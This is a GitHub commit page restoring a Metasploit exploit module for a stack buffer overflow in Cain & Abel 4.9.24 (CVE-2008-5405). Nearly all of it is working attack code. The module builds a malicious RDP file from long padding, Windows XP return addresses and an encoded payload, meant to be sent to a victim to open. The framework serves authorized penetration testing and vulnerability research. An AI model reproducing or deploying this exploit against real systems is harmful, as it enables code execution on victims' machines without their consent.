Skip to content

Commit cd9cd70

Browse files
committed
restored cain_abel_4918_rdp.rb
1 parent fd67a1d commit cd9cd70

File tree

1 file changed

+71
-0
lines changed

1 file changed

+71
-0
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GoodRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Cain and Abel RDP Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
18+
and below. An attacker must send the file to victim, and the victim must open
19+
the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
23+
'References' => [
24+
[ 'CVE', '2008-5405' ],
25+
[ 'OSVDB', '50342' ],
26+
[ 'EDB', '7329' ],
27+
[ 'BID', '32543' ]
28+
],
29+
'Payload' => {
30+
'Space' => 800,
31+
'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
32+
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
33+
'StackAdjustment' => -3500,
34+
},
35+
'DefaultOptions' => {
36+
'AllowWin32SEH' => true
37+
},
38+
'Platform' => 'win',
39+
'Targets' => [
40+
# Tested ok aushack 20090503
41+
[ 'Windows XP SP2 English', { 'Ret' => 0x7c82385d } ], # call esp
42+
[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], # jmp esp
43+
[ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], # jmp esp
44+
],
45+
'Privileged' => false,
46+
'DisclosureDate' => '2008-11-30',
47+
'DefaultTarget' => 0,
48+
'Notes' => {
49+
'Reliability' => UNKNOWN_RELIABILITY,
50+
'Stability' => UNKNOWN_STABILITY,
51+
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52+
}
53+
)
54+
)
55+
56+
register_options(
57+
[
58+
OptString.new('FILENAME', [ true, 'The file name.', 'exploit_cain.rdp']),
59+
]
60+
)
61+
end
62+
63+
def exploit
64+
filerdp = rand_text_alpha_upper(8206)
65+
filerdp << [target.ret].pack('V') + [target.ret].pack('V')
66+
filerdp << payload.encoded
67+
print_status("Creating '#{datastore['FILENAME']}' file ...")
68+
69+
file_create(filerdp)
70+
end
71+
end

0 commit comments

Comments
 (0)